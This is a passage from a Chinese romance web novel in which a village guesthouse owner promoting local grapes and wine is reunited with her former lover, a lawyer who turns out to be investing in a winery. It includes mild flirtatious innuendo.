“买葡萄?”温昭宁疑惑,“你买葡萄干什么?” “马上中秋,当做节礼发给律所的员工。” “你们律所中秋发葡萄啊?”这附近的确有很多工厂中秋节会发月饼和葡萄作为中秋节节礼,温昭宁没想到的是,贺淮钦他们那样的高端律所,中秋节也发这么接地气的水果。 “不行吗?” “行,那你明天把数量报给鹿鹿,让她给你登记一下。” “你给我登记。” “谁登记有区别吗?” “有。”贺淮钦理直气壮,“我对包装有要求,需要你和我一起选一下包装盒。” “好,那你稍微等一下,我放一下东西。” 温昭宁去前台放了一下自己的包,拿来笔记本电脑,开始和贺淮钦一起选包装盒,温昭宁原先订购的两款包装盒贺淮钦都不太满意,两人又在这个基础上,改良了一个带耀华LOGO的包装盒。 别说,这包装盒一带上律所的LOGO,看起来瞬间高大上了许多。 “贺先生,那我明天就安排印刷厂印刷包装盒,等盒子出来,就让王叔他们安排发货。” “好。” 这葡萄买卖都结束了,可贺淮钦还是坐在那里不动。 温昭宁刚想问他还有什么事,她的手机先响了。 是庄璟奕打来的。 “贺先生,我接个电话。” 温昭宁拿着手机示意了一下贺淮钦,就起身去了门廊下。 庄璟奕打电话来,是聊视频创意的。 两人今天去葡萄园的路上,温昭宁又带庄璟奕在村子里逛了逛,了解了一下村子里一些高产的农产品。 庄璟奕年轻,网感很好,他的脑子里装了很多与当下潮流紧密结合的点子,执行力又强,他回去就做出了好几个创意方案。 “昭宁姐,我回去之后想了想,咱们葡萄视频能火,除了产品本身好,很大程度上是因为视频真实、有温度,展现了我们这里的山水和生活,那我们在做其他农产品的时候,只要继续保留这种真实感和温度,再叠加一些小创意就足够了。” “是的,你有什么好的创意?” “我关注了几个数据不错的乡村生活和农产品短视频账号。你有空了可以看看,有一位大哥把挖春笋的过程做得像是探险,配上探险主题的音乐和简单的讲解,播放量很高,还有一个主播是位高龄老奶奶,视频就拍她每天做霉豆腐、晒菜干,话不多,音乐很温情,那种岁月沉淀的安稳感也特别打动人。所以我想,咱们的视频是不是也可以挖掘一些村里的‘特色人物’,让他们出镜。” “你是指……” “比如李阿公,他做腊肉几十年了,手法讲究,背后有故事。还有顾婶,山歌唱得好,她一边垦地一边唱山歌,让我感觉到了劳动人民的淳朴和乐观,还有我,我也可以出镜的。”庄璟奕自告奋勇,“我看到现在很多乡镇干部为了助农卖货,一个个全都脱衣服秀肌肉,昭宁姐,我也可以,我上大学那几年天天泡健身房,别的不说,身材还是拿得出手的。” “你愿意脱衣服?” “当然愿意,我来的时候领导就交代了,我们是人民的干部,得为人民服务,只要助农项目能做好,网友喜欢什么,我就能做什么。” 温昭宁忽然想起一句话,千辛万苦考上编,为了人民去擦边。 很好,庄璟奕是个很有思想觉悟的同志。 她笑起来:“你说的这些都很有启发性,今晚我再想想,我们明天见面再说。” “好。” 温昭宁这一个电话,打了半个多小时。 她以为贺淮钦已经上楼去了,没想到一转身,他还坐在那里。 “贺先生,你还有什么事吗?”温昭宁问。 贺淮钦没说话,他沉着脸从椅子上站起来,转身往二楼走去。 温昭宁看着他的背影,只觉得他有点莫名其妙。 他在这里干坐了半个多小时,难道只是为了甩脸子给她看吗? -- 第二天,温昭宁和庄璟奕在村委办公室碰了个头,两人经过商讨,决定将“寻找村里的故事”成为他们新一阶段助农推广的主题。 他们的第一期视频还和正在热销的葡萄有关——葡萄酒。 温昭宁从小就知道,舅舅姚夏林有一门酿制土法葡萄酒的手艺,那是舅舅从外公那里传承而来的。 当天下午,温昭宁就带着庄璟奕和拍摄的设备,去了舅舅姚夏林的家里。 舅舅家的院子里,几口半人高的粗陶缸整齐地排列在屋檐下的阴凉处,缸口蒙着洗得发白的粗棉布,空气里弥漫着一股新鲜葡萄汁的甜香和发酵酒液微酸的味道。 “舅舅,我带镇上来的小庄干部来看看您的酒。”温昭宁提前和舅舅打过招呼,舅舅知道今天要拍摄,换上了他的新衣服出来迎接。 “欢迎欢迎。” 姚夏林等温昭宁架好拍摄的设备,将两人引至缸前,开始介绍。 “这是今年的‘紫珠’,刚下缸不久。”姚夏林说着,用木勺轻轻揭开棉布一角,示意他们看。 温昭宁立刻举起手机,跟拍。 缸内,深紫色的葡萄汁正在自然酵母的作用下,微微冒着细小的气泡,色泽浓郁如宝石。 “这些葡萄,都是自己地里长的,不打药,熟透了才摘,破皮去梗,全凭手感,不能破籽,破了就涩了,入缸后,加不加糖,架多少,看天,看葡萄的性子,也看缸。发酵的时候也有讲究,温度、时辰,都得守着,快了,味道就浮了,慢了,劲头不足。” 舅舅的字里行间,全是经年累月与土地、时节和微生物打交道积累下来的经验。 庄璟奕听得入神,忍不住追问细节:“舅舅,那怎么才能判断酒酿好了呢?” “闻,看,尝。香气到了,颜色沉了,味道对了,这酒就算酿好了。我爸在世的时候常常说,这酒是有魂的,急不得,也强求不得,你得顺着它,陪着它。” 温昭宁在旁补充:“舅舅酿的酒,不多,每年就这几缸,口感很特别,初入口的时候可能会觉得味道有点野,不顺滑,但酒的回味特别长,有山里的花果香,还有一种很厚实的劲儿。” “那到时候我高低得来尝一尝。” “好,欢迎。” 关掉镜头后,舅舅又拉着庄璟奕聊了许久酿酒的小技巧。 温昭宁生理期肚子不太舒服,坐在门外和舅妈晒太阳。 “宁宁,你怎么脸色不太好?”舅妈关心道,“是不是最近太忙了,我看你每天奔来跑去的,一天休息都没有,这样下去,你的身体怎么吃得消?” “没事舅妈,我今天是正好撞上生理期,肚子不太舒服,所以没精神。” “你肚子不舒服怎么不早说,我去给你煮杯红糖水。” 舅妈立刻起身去厨房给温昭宁煮了一杯红糖水,温昭宁喝下后,身子热了许多,但肚子还是难受。 “要不你今天别去民宿了,在家休息吧。” “不行,壹壹今天弹琴八点结束,雨棠姐要八点才过来,五点到八点这段时间民宿没人也不行。” “你和雨棠都辛苦了。” “不辛苦,我们现在每天都做自己喜欢的事情,很开心。” 庄璟奕看出温昭宁不舒服,回程的时候,他向舅舅借了一辆电瓶车,开电瓶车把温昭宁送到了民宿门口。 温昭宁下车的时候,庄璟奕叫住了她。 “昭宁姐。” “还有事?” “不好意思啊,我一开始不知道你今天不舒服,还拉着你东奔西跑的。” “没事,都是为了工作。” 庄璟奕从车把手上取下一个塑料袋,“喏,这个给你,肚子不舒服的时候捂一捂。” 温昭宁接过塑料袋一看,里面是一个热水袋。 “有心了,谢谢你。” “不客气,你快进去坐吧,有事我们微信上联系。” “好。” 温昭宁拎着袋子走进院子,刚一进门,就见贺淮钦又立在廊下。 他穿着一件烟灰色的开衫,手里捏着一支燃了一半的烟,脸上没什么表情,但那双眼睛,在夕阳的映照下却亮得摄人,他望着她,目光冰冷而锐利。 这人最近怎么天天一副别人欠了他二五八万的样子。 温昭宁冲他笑着点点头,算是打招呼了。 她刚要从他身边经过,贺淮钦脚步一转,侧身拦住了她。 “你和他很熟吗?”贺淮钦开口。 “贺先生,你说谁?” “还能有谁?刚刚开电瓶车送你来的那个男人。”贺淮钦眉宇间翻涌着比秋日山风更凉的情绪,“才认识几天,就熟到坐一辆电瓶车了?” 温昭宁一愣。 他这语气、这神情……什么意思啊? “庄璟奕是镇上派来帮扶的村官,我们一起走访农户、谈论工作,我今天不太舒服,他借了辆车送我回来,有什么问题吗,贺先生?” “你不舒服?”贺淮钦敏锐地捕捉到她话语里的关键词,他向前走了两步,目光在她脸上打量,“哪里不舒服?” “与你无关,贺先生。” 贺淮钦低头,看到温昭宁手里提的袋子,里面是个热水袋,他想起来,她生理期就是在月尾。 那个男人竟然连她生理期都知道? 他顿时涌起更深的怒意。 “电话里聊脱衣服,现在他连你的生理期都一清二楚,温昭宁,你们到底什么关系?” 第61章 和贺先生是旧识 电话里聊脱衣服? 什么时候? 温昭宁快速调取自己记忆,她想了好久,才想起前天电话里庄璟奕说可以脱衣服出镜,温昭宁因为太诧异反问了一句,没想到就被贺淮钦听了去。 可就算他们聊天露骨,就算庄璟奕知道她的生理期,又关他什么事? “贺先生,我的事情,好像还轮不到你来管吧?”温昭宁的声音冷而脆,“贺先生如今在民宿里住着,是我的客人,我对你客客气气,不代表你可以逾矩,希望贺先生摆正自己的位置。” 贺淮钦的确理亏,任他在律政界有舌战群雄的本事,这一刻也无言以对。 温昭宁不再理他,直接绕过他走进店里。 贺淮钦在原地立了几秒,转身上了楼。 “昭宁姐,你和贺先生说什么了?”鹿鹿凑过来问。 “没说什么,打了个招呼而已。” “打了个招呼而已?那我怎么觉得他好像有点生气啊?” 温昭宁不说话,谁知道他发什么神经。 “昭宁姐,你有没有觉得,贺先生好像对你有点意思?” “鹿鹿!”温昭宁扭头正色看着鹿鹿,“你不要胡说!要是被客人知道,我和他得多尴尬?” “真的,我没有瞎说。”鹿鹿压低了声音,“昭宁姐,你这几天外出,贺先生每天都心不在焉的,晚上吃完饭也不上楼,就站在门廊下眼巴巴地等着你回来。” “你怎么知道他是在等我?” “这不你一回来,他就上楼了嘛,这瞎子也看得出来,他是在等你吧。” “他那是有正事找我,你别瞎猜了。” “什么正事?” “他要买葡萄给他律所的员工作为中秋节节礼。” 鹿鹿恍然:“原来是这样啊。” “是的,就是这样,而已。”温昭宁替鹿鹿拿上她的包,“小脑瓜别胡思乱想了,赶紧下班吧。” “好的昭宁姐,那我走了哈。” “嗯。” 鹿鹿走后,温昭宁一个人呆坐了一会儿,鹿鹿的那些话,对她还是有些影响的,但是,她没有放任自己去深想,因为她还有好多视频素材要整理。 拍摄舅舅姚夏林制作葡萄酒的这期视频,温昭宁花了两天剪出初稿,又和庄璟奕改了三次脚本,最后才剪出正式版本发布。 幸运的是,这个视频的流量和数据都不错,有好多粉丝,一下就盯上了舅舅的葡萄酒,问卖不卖。 第一个视频的成功,给了庄璟奕莫大的信心。 他特地请温昭宁出去吃了顿饭庆祝,吃饭的时候,他又开始滔滔不绝别的自媒体创想。温昭宁实在羡慕他的精力和做事的热情。 那天的那顿饭,温昭宁吃到老晚才回民宿。 当她走进小院时,门廊下没有那个熟悉的身影在等她,温昭宁忽然意识到,她已经好几天没看到贺淮钦了。 这几天,贺淮钦都没有下楼办公,连三餐都是让鹿鹿送上去的。 据鹿鹿说,贺淮钦这几天非常忙,她每次去送餐,他都在开视频会议。 温昭宁想,忙点好,他忙了,就不会在她眼前晃悠了,他不在她眼前晃悠,她也就不会一直想着他,这样他退房的时候,她的戒断反应也就没有那么重了。 -- 舅舅姚夏林葡萄酒的那个视频发酵了两天后,庄璟奕又带来一个好消息。 “昭宁姐,今天上午领导给我打电话,说我们葡萄酒的那个视频反响很不错,还被一位投资人刷到了,这位投资人对悠山村的葡萄产业和酿酒手艺特别感兴趣,考虑要来悠山村投资一个酒庄。” “真的嘛!那太好了!” 温昭宁听到这个消息特别兴奋。 悠山村这门酿酒手艺虽然有其独特的价值和魅力,但仅限于家庭小作坊式的生产,很难形成规模效应,也无法保证品质的长期稳定,更没有办法带动广泛的就业,可如果投资一个酒庄,那一切就都不一样了! “真的真的,领导让我通知你,下午两点一起去镇里开会,顺便见见这位投资人。” “这位投资人来悠山了?” “是的,他已经在悠山了。” 温昭宁挂了电话后,和鹿鹿交代了一声,赶紧回家洗头、敷面膜、化妆、换衣服。 她平时在民宿,穿搭比较随意,主要是舒服为主,但今天,她特地换上了更正式的西装裙和高跟鞋。 庄璟奕来接她,一见面,立刻开启夸夸模式。 “昭宁姐,你这也太美太有气场了,不知道,还以为你是投资人呢。” “就你嘴甜。” 这么多天的接触,温昭宁已经和庄璟奕熟络,在她眼里,庄璟奕就是和妹妹温晚醍一般的弟弟。 “我是实话实说,我研究过你的数据,网络上其实有很多人是昭宁姐你的颜粉。” “你还研究过这个数据?” “那当然了,这也是我工作的一部分。” “看出来了,你真的很热爱你的工作。可能这就是独属于刚毕业大学生的赤诚和清澈吧。” “你在说我傻吗?” “不不不。”温昭宁笑起来,“我是很庆幸能和你合作。” 两人正站在家门口说话,忽然听到“嘀”的一声车鸣。 温昭宁回头,看到一辆大G正从民宿方向过来,她和庄璟奕站的位置挡道了。 她赶紧拉了庄璟奕一把,两人退到路边。 大G像头冷脸的猛兽,气势汹汹地从两人面前开过去了。 “哇,大G,好酷的车。”庄璟奕感慨。 温昭宁没出声。 这整个村里,也找不出第二辆这样的大G。 是贺淮钦。 他来民宿这么久,很少开车出门,今天这是去哪儿啊? -- 这还是温昭宁第一次来镇里开会。 会议室布置得挺简单的,长条会议桌、投影仪、白板,很标准的商务配置,空气里飘着茶香和淡淡的纸张油墨味。 温昭宁身旁坐着分管农业的副镇长和庄璟奕。 副镇长是个年近五十岁的中年男人,他正和庄璟奕低声核对一会儿要展示的悠山村的基本情况和发展规划的资料。 周围静悄悄的,只有副镇长略显严肃的声音。 温昭宁瞬间也紧张了起来。 她时不时抬眼看一下门口,听说那位投资人是沪城人,因为喜欢葡萄酒而跨界投资。 约莫五分钟后,走廊里传来聊天声和脚步声。 是镇长带着那位投资人来了。 副镇长听到声音,立刻停止了和庄璟奕的交谈,示意会议室里的所有人都站起身来相迎。 温昭宁深吸一口气,也跟着站起来。 “贺先生,里边请。” 贺先生? 温昭宁朝门口看过去。 镇长带进来的投资人竟然是贺淮钦。 贺淮钦今天穿了一身剪裁极其合体的深灰色西装,面料挺阔,泛着高级的哑光质感,西装里内搭洁白的衬衫,领口系着一条暗蓝色的斜纹领带,整个人一丝不苟。 他来民宿后,着装风格都以休闲为主,温昭宁已经很久没有见他穿过西装了,这乍一眼,着实惊艳。 贺淮钦步履沉稳,走进来的瞬间,这间略显朴素的会议室仿佛被注入了一种无形的光芒,顿时有了蓬荜生辉之感。 “给大家介绍一下,这位贺先生就是酒庄项目的投资人,大家欢迎贺先生。”镇长笑着说。 贺淮钦是酒庄的投资人? 怎么会是他? 贺淮钦的目光扫过会议室,在副镇长身上礼貌地停留一瞬,微微颔首,最后,又看向了温昭宁。 四目相对。 温昭宁没想过今天这样的场合里会遇见他,一时不知道该如何反应,她先挪开了目光。 “欢迎贺先生,贺先生快请坐。”副镇长对贺淮钦比了个“请”的手势。 贺淮钦落了坐,所有人都跟着坐下来。 温昭宁刚一坐下,视线不经意间扫到了贺淮钦袖子上的那对袖扣。 金属质地,设计简约,主体是墨蓝的珐琅,边缘镶嵌着一圈纤细的古巴链纹,像夜空中最安静的星子,低调而神秘。 这对袖扣,温昭宁太熟悉了。 那不就是去年贺淮钦生日的时候,她想送最后又没有送出去的生日礼物吗? 她记得后来她随手放在了床头柜的抽屉里,怎么现在在贺淮钦袖子上了? 温昭宁当初走得急,完全忘了这对袖扣的存在,她以为,就算他发现了,也会将它扔掉,没想到,他竟然戴上了,还在今天这样的场合戴上了。 贺淮钦察觉到了她失神和凝注的目光,那双深黑的眼眸里闪过一丝微光。 “温老板。”他忽然开口,声音低沉,“你一直盯着我看什么?” 他竟然当着领导的面直接点她。 温昭宁收回目光,故作镇定地说:“没看什么,只是惊讶贺先生竟然是这次项目的投资人。” “小温你认识贺先生?”副镇长问。 “贺先生是我民宿的客人。” “我们认识十几年了。” 两人同时开口。 他们的答案明显相反,一个像是要撇清关系,一个像是要深化关系。 镇长看着温昭宁:“到底怎么回事?小温你和贺先生是旧识?” “对。”温昭宁只能顺势点头,“我和贺先生读大学的时候就认识,不过已经有段时间没有见面了,直到最近贺先生入住我的民宿,我们才又重新见面。” “好好好,原来是老朋友啊,那敢情好。”镇长是个人精,他当场点兵,“那酒庄这个项目,到时候小温也跟着深度参与,正好,小温对本地情况最熟悉,和农户关系又紧密,到时候,酒庄与本地事务协调,与传统技艺的衔接以及自媒体宣发这一块,都由小温来牵头。贺先生,你看怎么样?” “镇长说的,正是我的意思。”贺淮钦毫不掩饰自己就是冲温昭宁来的。 温昭宁被委以重任,心跳也快了几分。 这无疑是把她推向了更大的舞台,也给了她更大的机遇。 可是,一旦她把工作重心放到了酒庄上,那她和庄璟奕现在在做的助农项目恐怕就没有那么多的精力去投入了。 “蒋镇长,我当然愿意深度参与酒庄的项目,只是我现在手上还有一个助农项目,我恐怕……” “助农项目到时候交给别人做就可以了,我记得我们村上还有一个自媒体做得非常出色的姑娘,叫什么来着?” “边雨棠。” “对,这个项目,到时候就交给边雨棠和小庄去继续推进,你安心投入酒庄这个项目就可以了。” 温昭宁看向庄璟奕。 庄璟奕朝她比了个“OK”的手势,那意思是“放心,有我呢”。 助农项目交给边雨棠和庄璟奕,温昭宁自然是放心的,只是有点舍不得,毕竟,她和庄璟奕这才刚培养出合作的默契,庄璟奕更是个不错的合作伙伴。 贺淮钦见这两人在会议室里眉来眼去的,神色立刻冷下来。 “开会吧。”他说着,拉开椅子,坐在了会议桌的主位上。 “好好好,我们开会。” 投影仪亮起,副镇长开始向贺淮钦介绍悠山村的情况。 温昭宁强迫自己集中精神,可眼角余光,总是不由自主地飘向贺淮钦袖口的那一点幽静的蓝。 副镇长介绍过后,贺淮钦也对酒庄这个项目阐述了自己的想法。 “酒庄依托悠山村现有的葡萄种植基础,和村民的古法酿造技艺作为核心特色与品质背书,但我们不局限与土法,等酒庄落成,我会引入现代酿酒设备和技术专家,在保留传统风味精髓的基础上,进行科学化的品控和标准化生产,同时,聘请专业的设计团队,进行品牌包装和市场定位……” 温昭宁从前只是听说贺淮钦不仅律师做得顶尖,在其他投资领域也颇为出色,今天见他从从容容,游刃有余,才真正明白那句话,优秀的人做什么都会很优秀。 “贺先生,您先前说已经看好了建造酒庄要用的耕地了,不知道具体是在哪个位置?”副镇长问。 “就在村口那片向阳的缓坡上。”贺淮钦说。 温昭宁垂眸。 村口那片向阳的缓坡上? 那不就是她和贺淮钦当初看烟花车震的那片地? 这是巧合?还是他故意的? 第62章 我想和你慢慢走 副镇长不太了解那块地的具体位置,转过头来,询问温昭宁的意见。 “小温,你觉得那块地怎么样?” 贺淮钦的目光跟过来,炙热且意味深长地望着她。 那晚车里的种种画面,在温昭宁的脑海里翻涌着。 她的脸慢慢发烫。 “小温?”副镇长见她不说话,出言提醒。 贺淮钦微勾了下唇,目光更深地看着温昭宁的眼睛:“温老板是对那块地有什么特别的回忆吗?想那么久都不说话?” 这语气…… 温昭宁现在可以肯定,贺淮钦就是故意的了。 她清清喉咙,回答:“村口那片向阳的缓坡我觉得很不错,那里不仅风景好视野好,离葡萄园也近,后期酒庄建好了,供货会比较方便。” “好好好,那小林和小庄这边要尽快协助贺先生落实土地使用权。” “好的。” 会议持续了一个多小时,投影仪的光影在幕布上不断切换,温昭宁全程保持着高度的专注。 中间有一段需要她的发言,她将自媒体流量与当地产业融合的设想阐述得既务实又充满感情,这段言之有物的发言,让镇长和副镇长时不时朝她投来赞许的目光。 贺淮钦大多数时候都只是安静地听着,偶尔在关键点上补充或引导,他的意见往往一针见血,主导着会议的节奏和方向。 终于,一个多小时后,众人对酒庄的计划达成了初步的共识。 会议结束,温昭宁暗暗松了一口气,她正整理面前散落的文件,准备起身,一道阴影笼罩下来。 温昭宁抬头,看到贺淮钦站在她的面前。 “表现不错。”贺淮钦的言辞带着浓烈的欣赏和认可。 从温昭宁离婚开始,他看着她一步一步活成了她想要的样子。 脱去温大小姐的光环,她依然做什么都能做得很出色,因为她具备这个实力。 “谢谢贺先生给的机会。”温昭宁客气地回应。 “你应得的。” 贺淮钦一边和她说话,一边抬起左手,极其自然地整理着右边袖子的袖扣。 温昭宁发现了,从他进门的那一刻开始,他就时不时在摆弄着他的那对袖扣,生怕别人看不见似的。 他在宣示着什么,也在提醒着什么。 温昭宁只当看不见。 她拿着文件资料正准备离开,副镇长过来了。 “小温啊,贺先生刚才说,想要去尝一尝你舅舅的葡萄酒,这样,你等下回去,就带贺先生过去尝尝,今天接待和照顾贺先生的任务,就交给你了。” “贺先生想尝尝葡萄酒当然没问题,可今年的葡萄酒刚开始酿,还没有好呢。”温昭宁说。 “去年的,我已经派人和你舅舅联系过了,老姚说了,去年的酒他还珍藏着呢,欢迎贺先生过去品尝。” 副镇长都已经安排好了,温昭宁自然得照办。 “好的,蒋副镇长放心,我一定接待好贺先生。” -- 因为要一起去舅舅那里,回程的路上,温昭宁只能坐贺淮钦的车。 这个曾经私密而滚烫的空间,随着车门打开,独属于车内的记忆就如同决堤的洪水,不受控地汹涌而来。 贺淮钦那么多车,不知道为什么偏偏又开这辆来悠山。 温昭宁系好安全带,尽量目不斜视地看着前方,可那些喘息、那些呻吟、那些衣衫不整的画面却不受控地在脑海里翻涌,与驾驶座上西装笔挺的贺淮钦重叠、交错。 贺淮钦感受到她的紧绷,转眸看她:“你很热吗。” “没有。” “那脸怎么这么红?” “我打了腮红。” “什么腮红能一点点红起来?” 温昭宁不说话,只是默默打开了车窗。 风吹进来,吹散了鼻间萦绕的熟悉气息,她才感觉慢慢平静下来。 车子沿着新修的村道,平稳地停在舅舅姚夏林的家门口。 “贺先生,到了。”温昭宁解开安全带下车。 贺淮钦也跟着下车,他下车后,先绕到了车子后面,打开了后备箱。 后备箱里,整齐地码放着好几个看起来就价值不菲的礼盒,有包装精美的名贵中药材礼盒,有写着“中老年营养配方”的高级保健品,还有两盒印着知名品牌LOGO的茶叶和香烟。 这是什么? 温昭宁怔忪的瞬间,贺淮钦已经动作麻利地将那几个礼盒一一拎了出来,并且关上了后备箱。 “贺先生,你这是?”温昭宁迟疑。 “第一次正式拜访长辈,空手不合适。”他神色如常,语气自然地仿佛在说一件再正常不过的事情。 第一次正式拜访长辈? 这几个词像小锤子一样,轻轻敲在温昭宁的心口,明明应该是“投资人考察”,怎么忽然就变成了“拜访长辈”? “贺先生,你是投资人,你愿意上门品尝我舅舅自己酿的葡萄酒,这是我们的荣幸,东西就不需要了,这不太合适……” 贺淮钦根本不听她说完,就拎着礼盒径直朝着小院虚掩的木门走去。 他走到门口,立定,转身看向温昭宁:“我没手了,你来敲门。” “可是……” 温昭宁话还没说完,院子里早就在等待投资人的舅舅姚夏林听到声音,自己出来打开了门。 “贺先生,你来啦,快请进快请进。”姚夏林之前在青柠生日的时候见过贺淮钦,两人当时就聊过酿酒的事情,所以并不陌生。 “舅舅,您好。”贺淮钦将手中的礼盒递出去,微微躬着身,态度是罕见的谦和和尊重,“初次拜访,一点心意,不成敬意,请您收下。” 舅舅? 她都还没有给他们介绍呢,这人喊得倒是挺顺口的。 “贺先生你真是客气了,来就来,还带什么东西啊,快快快,屋里坐。” 姚夏林把贺淮钦迎进了院子里,温昭宁见他们都进去了,只能跟着进去。 可能是副镇长特意打电话来知会过,舅舅舅妈在贺淮钦来之前,把院子里的杂物都搬走了,小院显得又整洁又宽敞。 贺淮钦把温昭宁和庄璟奕来舅舅家的那期视频都快盘包浆了,他一眼就看出来了,这院子和视频里不太一样。 这充分说明了比起庄璟奕那个小子,温昭宁的舅舅舅妈更在意他的到来。 他很满意。 舅舅姚夏林先带贺淮钦看了眼缸里今年新酿的“紫珠”,他正要去拿去年的陈酿给贺淮钦品尝,就听院门外传来脆生生的一句:“妈妈!” 温昭宁回头,看到母亲姚冬雪开着电瓶车载着青柠回来了。 不好,这个时间选得不巧,青柠正好放学。 这段日子,姚冬雪有意不带青柠去民宿,青柠和贺淮钦已经很久没有见面了,今天完全在计划之外,两人又要碰面了。 “妈妈!”青柠一下车,就朝温昭宁跑过来,当她跑进院子,看到贺淮钦也在,小脚立刻调转方向,朝贺淮钦跑过去:“贺叔叔!” 青柠跑到贺淮钦的身边,一把抱住了他的大腿。 这个动作,让温昭宁和温昭宁身后的姚冬雪都觉得吃惊。 青柠生活里是个慢热的小女孩,她不会轻易对妈妈和外婆之外的其他人表现出这样的亲昵和依赖,尤其是男人。 她对贺淮钦,太不一样了。 “青柠,你放学了啊。”贺淮钦低头,很温柔地把玩了一下青柠的小辫子。 “是啊,我刚放学,贺叔叔,你怎么在这里啊?” “我来找你舅爷爷尝一尝他酿的酒。” “那你今天是要留在我们家里吃晚饭了吗?”青柠仰着头,双眸亮晶晶的,“贺叔叔,我都好久没有见到你了,你就留下来和我一起吃晚饭吧,今天外婆买了一条好大的鱼,她说要给我做番茄鱼片,你也一起尝尝吧,我外婆做番茄鱼片可好吃了呢。” “这……”贺淮钦有点为难地看向温昭宁。 温昭宁没想到青柠会留贺淮钦在家里吃饭,她还没反应过来,就听舅舅姚夏林说:“青柠说的对,贺先生,你今晚就吃了饭再走吧,正好,我们一起喝点小酒,聊聊酒庄的事情。” “好,那我就恭敬不如从命了。” 青柠听见贺淮钦愿意留下来吃晚饭,开心地直蹦哒:“耶耶耶,今晚可以和贺叔叔一起吃晚饭咯。” 贺淮钦摸摸青柠的小脑袋:“谢谢青柠。” -- 因为贺淮钦决定留下来吃饭,舅妈烧了许多的菜,再加上温昭宁母亲那一个拿手的番茄鱼片,满满当当一桌。 这排场,都快赶上年夜饭了。 自从姚志修搬出去住,已经很久没有人陪舅舅姚夏林喝酒聊天了,舅舅今晚特别高兴。 还有一个特别高兴的,就是青柠。 青柠坐在贺淮钦的身边,戴着小围兜,一边喝果汁,一边吃肉肉,还时不时凑到贺淮钦耳边,和他说几句悄悄话。 姚冬雪原先不知道这两人的关系还好,现在知道了,视线总忍不住地往两人身上瞟。 这一大一小,长得实在太像了。 而且,他们虽然不知道彼此的关系,但行为举止已经和父女无异。 “宁宁……”姚冬雪心里惴惴不安。 “没事。”温昭宁安慰着拍了拍母亲的手,“他快走了。” “可是他在这里投资了酒庄,那不就意味着他以后经常会来?” “像他这种有钱人投资的产业多着呢,不可能个个都亲力亲为,到最后都是雇人管。” 姚冬雪想了想,点点头。 舅舅姚夏林这一高兴,就容易喝多。 贺淮钦喝得也不少,结束的时候,他的脸明显红了一圈,动作也比先前略显迟缓,起身的时候,他身形微微晃了一下,抬手扶着桌沿,才勉强站稳。 “贺先生,我太喜欢你了,你以后可得常来找我喝酒啊。”姚夏林醉醺醺地拉着贺淮钦的胳膊不放手。 “好的,舅舅,我有空就来看你。” “好好好。”姚夏林转头看向温昭宁,“宁宁,贺先生今晚喝得不少,你送他回民宿,务必保证他的安全。” “知道。” 温昭宁当然要送贺淮钦回去,她也怕贺淮钦喝多走路不稳,栽到田沟里去。 两人一前一后走出堂屋。 贺淮钦喝了酒,车肯定是不能开了,幸好,民宿不远。 “贺先生,我们走路……” 温昭宁话才说了一半,就见贺淮钦撞在了柱子上。 他闷哼了声,按住额角,揉了揉。 “你没事吧?” 温昭宁赶紧折回去。 她刚靠近他,贺淮钦就不由分说地伸出胳膊,揽住了温昭宁的肩膀。 他的手臂很沉,带着灼人的温度,将温昭宁半圈进怀里,这是一个充满占有意味的姿势,下半身与她保持着一步距离,但上半身又密不可分。 温昭宁浑身一僵,像是被点了穴道,温热的男性气息混着酒香,铺天盖地地笼罩下来,让她大脑一片空白,她能清晰地感受到他胸膛的起伏和远比平时更快一些的心跳。 “头有点晕。”贺淮钦的声音在她耳侧上方响起,比之前更沙哑,“扶我一下。” “你先放开,我扶着你的胳膊走。” 温昭宁想挣开,可是,贺淮钦的胳膊箍得很紧,他不止没有放开她,反而将身体的重量更巧妙地往她这里倚过来。 他的头微微低垂,下巴几乎要碰到她的头顶。 “就这样,走。”他含糊地命令,继而迈开了脚步。 温昭宁被他霸道地带着,不得不跟着往前走,贺淮钦身体的温度和重量,透过薄薄的衣衫,清晰地传递过来,像一道无形的电流,让她半边身子都麻了。 她的鼻间全是他身上清冽的气息和酒味,混杂在一起,形成令人眩晕的暧昧。 温昭宁没有喝酒,都觉得自己要醉了。 月光下,两人的身体紧紧依偎,影子投在青石板路上,拉得很长,几乎融为一体。 有路过的村民朝他们好奇地投来目光,温昭宁只觉得脸上火辣辣的,她低着头,试图加快脚步,赶紧把贺淮钦弄回民宿,可贺淮钦的步子却迈得不紧不慢的,甚至有些故意拖沓。 他好像恨不得全村的人都看到他们搂在一起。 “贺先生,你能不能走快点?”温昭宁带着羞恼问。 “不能,我想和你慢慢走……越慢越好。” 第63章 订婚取消了 他想和她慢慢走,是想和她这样多待一些时间吗? 温昭宁的心被他撩拨起隐秘的悸动。 可是,他凭什么? 他凭什么又来弄乱她的心弦? “你就算走得再慢,这段路也马上会到尽头。”温昭宁意有所指。 贺淮钦沉默不语。 过了很久,就当温昭宁以为他会一路沉默到民宿时,他忽然又开口:“只要你愿意,任他荆棘火海,万丈深渊,我都能为你踏出一条路来。” 温昭宁承认自己有那么几秒心跳加速了,但是,她很快冷静下来。 画饼谁不会? 经历过这么多事,她早已成长,她不稀罕随口一说的承诺,她要的是真真正正能让她踏实向前的康庄大道,如果别人给不了,她可以自己给自己。 “贺先生,你喝醉了。” “是吗?” “是的。” “既然如此,那就劳温老板扶得更稳当些……” 他明显不悦,惩罚似的将全身的重量都倾向她,温昭宁差点被他压垮了。 “你别压着我,你这样太重了!我撑不住!”她忍不住抗议。 “这就撑不住了?”贺淮钦呼吸的热气擦过她的耳畔,用只有她听得到的声音说,“之前在床上,我压着你的时候,你可不是这么说的。” “……” “忘了?那我帮你回忆回忆,之前在床上,你每次都会搂着我的脖子说,再用力一点。” 温昭宁的脸“轰”的一下烧了起来,烧得她全身都在发烫。 她一把将贺淮钦从她身上推开,厉声呵斥一声:“贺淮钦,你胡说什么!” “哟,不叫贺先生了?这是想起我是谁了?”他深邃的眼眸锁着她,“装不认识我装了这么久,温昭宁,你可真有本事!” 温昭宁意识到自己这是中了他的计,她深呼吸两下,重新换上微笑脸:“贺先生,我完全不知道你在说什么?” “不知道没事,改天带你场景重现你就知道我在说什么了。” 流氓! 温昭宁在心里无声痛骂了他一顿,不再理他,转身就走。 贺淮钦大步跟上来,就走在她身后一步之遥的位置。 “生气了?”他试图拉她的手。 温昭宁一把甩开。 “别生气啊。”他轻声哄她,“以后我一定会注意,该用力的地方用力,不该用力的地方绝对不压疼你!” “贺——淮——钦!”她再次厉声警告。 “欸!”他完全忽视她的警告意味,应得兴致高昂,“我喜欢听你喊我的名字。” 温昭宁有种一拳打在棉花上的感觉。 她不说话了,只是默默加快了步伐。 两人一前一后走到了民宿门口。 